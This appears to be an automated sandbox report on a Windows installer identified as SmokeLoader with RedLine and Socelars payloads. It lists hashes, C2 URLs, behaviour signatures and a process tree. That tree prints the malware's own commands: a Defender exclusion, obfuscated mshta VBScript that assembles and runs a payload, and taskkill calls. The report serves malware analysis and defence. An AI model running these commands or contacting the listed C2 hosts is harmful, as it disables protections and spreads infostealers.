Resubmissions
11-10-2021 20:45
211011-zjxjlsabbm 1011-10-2021 13:10
211011-qegsxshcfp 1011-10-2021 10:55
211011-mz7y3ahaak 1010-10-2021 19:24
211010-x4mtssgae2 10Analysis
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max time kernel
1670s -
max time network
1854s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
11-10-2021 13:10
General
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Target
setup_x86_x64_install.exe
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Size
3.9MB
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MD5
a4d23ac3c7172b9aa02e35b6bf0fd21f
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SHA1
0326aab7deddfefc048c9a67ac9ce4ee14ea9003
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SHA256
9bd142ecfe89857de80bb3255a1655f680ca6451b45cca235096dc1c1285e806
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SHA512
9e425d8a1beaeabfc983bb75a7a5f8a8c0823e825e9f66e17b0f515b2897da9f2d9b2f1aa9939fdbae6c826c2c730d3bc772abec9e35a61d3d73a6cdb87ddf10
Score
10/10
Malware Config
Extracted
Family
smokeloader
Version
2020
C2
http://gmpeople.com/upload/
http://mile48.com/upload/
http://lecanardstsornin.com/upload/
http://m3600.com/upload/
http://camasirx.com/upload/
rc4.i32
rc4.i32
Signatures
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Modifies Windows Defender Real-time Protection settings 3 TTPs
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine Payload 1 IoCs
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SmokeLoader
Modular backdoor trojan in use since 2014.
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Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
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Socelars Payload 5 IoCs
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suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
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ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
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Downloads MZ/PE file
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Executes dropped EXE 25 IoCs
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Loads dropped DLL 64 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Checks whether UAC is enabled 1 TTPs 1 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
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Suspicious use of SetThreadContext 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 2 IoCs
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Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
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Kills process with taskkill 3 IoCs
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Modifies system certificate store 2 TTPs 12 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious behavior: GetForegroundWindowSpam 3 IoCs
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Suspicious behavior: MapViewOfSection 3 IoCs
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Suspicious use of AdjustPrivilegeToken 59 IoCs
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Suspicious use of FindShellTrayWindow 8 IoCs
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Suspicious use of SendNotifyMessage 4 IoCs
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Suspicious use of WriteProcessMemory 64 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun152bab5a2de.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun152bab5a2de.exeSun152bab5a2de.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15901f2f025e.exe4⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun15901f2f025e.exeSun15901f2f025e.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15dbd675f871ca.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun15dbd675f871ca.exeSun15dbd675f871ca.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Admin\Pictures\Adobe Films\F5AwJ7BlSSZccIqwC_gnKI1e.exe"C:\Users\Admin\Pictures\Adobe Films\F5AwJ7BlSSZccIqwC_gnKI1e.exe"6⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1908 -s 10006⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15f67075f27a2b5b.exe4⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun15f67075f27a2b5b.exeSun15f67075f27a2b5b.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\4148918.scr"C:\Users\Admin\AppData\Roaming\4148918.scr" /S6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\1904572.scr"C:\Users\Admin\AppData\Roaming\1904572.scr" /S6⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
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C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Users\Admin\AppData\Roaming\2609914.scr"C:\Users\Admin\AppData\Roaming\2609914.scr" /S6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Admin\AppData\Roaming\6796390.scr"C:\Users\Admin\AppData\Roaming\6796390.scr" /S6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun1577c3e159a3e3815.exe /mixone4⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun1577c3e159a3e3815.exeSun1577c3e159a3e3815.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Sun1577c3e159a3e3815.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun1577c3e159a3e3815.exe" & exit6⤵
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C:\Windows\SysWOW64\taskkill.exetaskkill /im "Sun1577c3e159a3e3815.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun152bea652bd7232.exe4⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun152bea652bd7232.exeSun152bea652bd7232.exe5⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun1507db358fce61c0b.exe4⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun1507db358fce61c0b.exeSun1507db358fce61c0b.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun158d8ef840.exe4⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun158d8ef840.exeSun158d8ef840.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun158d8ef840.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun158d8ef840.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )6⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun158d8ef840.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun158d8ef840.exe" ) do taskkill /F -Im "%~NxU"7⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\09xU.exE09xU.EXE -pPtzyIkqLZoCarb5ew8⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )9⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"10⤵
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )9⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I10⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "11⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"11⤵
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C:\Windows\SysWOW64\control.execontrol .\R6f7sE.I11⤵
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I12⤵
- Loads dropped DLL
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C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I13⤵
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I14⤵
- Loads dropped DLL
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C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "Sun158d8ef840.exe"8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun152e52d07b74d9b5.exe4⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun152e52d07b74d9b5.exeSun152e52d07b74d9b5.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1360 -s 17526⤵
- Program crash
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun159ff1acacf.exe4⤵
- Loads dropped DLL
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15f1b1f8c669.exe4⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun15f1b1f8c669.exeSun15f1b1f8c669.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun159ff1acacf.exeSun159ff1acacf.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun159ff1acacf.exeC:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun159ff1acacf.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun159ff1acacf.exeC:\Users\Admin\AppData\Local\Temp\7zS8A46A525\Sun159ff1acacf.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\F95C.exeC:\Users\Admin\AppData\Local\Temp\F95C.exe1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\taskeng.exetaskeng.exe {43FCFDBB-0018-48D4-AAB3-9F005C0A3483} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]1⤵
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C:\Users\Admin\AppData\Roaming\rjffjheC:\Users\Admin\AppData\Roaming\rjffjhe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
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C:\Windows\system32\taskeng.exetaskeng.exe {EDA693E6-E048-416A-B8E1-FF9C5323BFC6} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]1⤵
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C:\Users\Admin\AppData\Roaming\rjffjheC:\Users\Admin\AppData\Roaming\rjffjhe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
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C:\Windows\system32\taskeng.exetaskeng.exe {A05ED9A3-5281-4DC9-A6BC-32B1E74A4515} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]1⤵
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C:\Users\Admin\AppData\Roaming\rjffjheC:\Users\Admin\AppData\Roaming\rjffjhe2⤵
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Network
MITRE ATT&CK Enterprise v6
Defense Evasion
Disabling Security Tools
1Install Root Certificate
1Modify Registry
3Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
164KB
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Filesize
18.9MB
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Filesize
288KB
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Filesize
572KB
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Filesize
100KB
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Filesize
572KB
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Filesize
100KB
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Filesize
1.5MB
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Filesize
572KB
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Filesize
1.5MB
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Filesize
100KB
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Filesize
1.5MB
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Filesize
1.5MB
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Filesize
152KB
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Filesize
572KB
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Filesize
1.5MB
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Filesize
152KB
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Filesize
100KB
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Filesize
192KB
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Filesize
4KB
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Filesize
4KB
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Filesize
8KB
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Filesize
4KB
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Filesize
18.9MB
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Filesize
84KB
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Filesize
84KB
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Filesize
84KB
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Filesize
84KB
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Filesize
8KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
8KB
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Filesize
18.9MB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
192KB
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Filesize
8KB
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Filesize
4KB
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Filesize
4KB
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Filesize
1.3MB
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Filesize
8KB
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Filesize
36KB
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Filesize
18.8MB
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Filesize
64KB
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Filesize
4KB
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Filesize
292KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
48KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
892KB
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Filesize
684KB
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Filesize
12.3MB
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Filesize
12.3MB
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Filesize
18.8MB
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Filesize
18.8MB
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Filesize
18.8MB
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Filesize
4KB
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Filesize
4KB